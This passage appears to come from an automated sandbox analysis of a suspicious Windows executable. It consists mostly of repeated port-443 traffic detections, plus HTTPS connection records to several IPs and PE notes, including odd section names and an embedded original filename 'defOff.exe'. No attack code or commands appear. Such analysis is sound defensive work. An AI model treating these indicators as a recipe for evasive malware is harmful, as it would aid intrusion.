Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443

Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:50043 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00EFF557 appears 70 times

Source: file.exe, 00000000.00000003.1452882480.0000000005938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1453418445.0000000005A00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1450336958.0000000005A70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1463072608.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1448201546.0000000005594000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
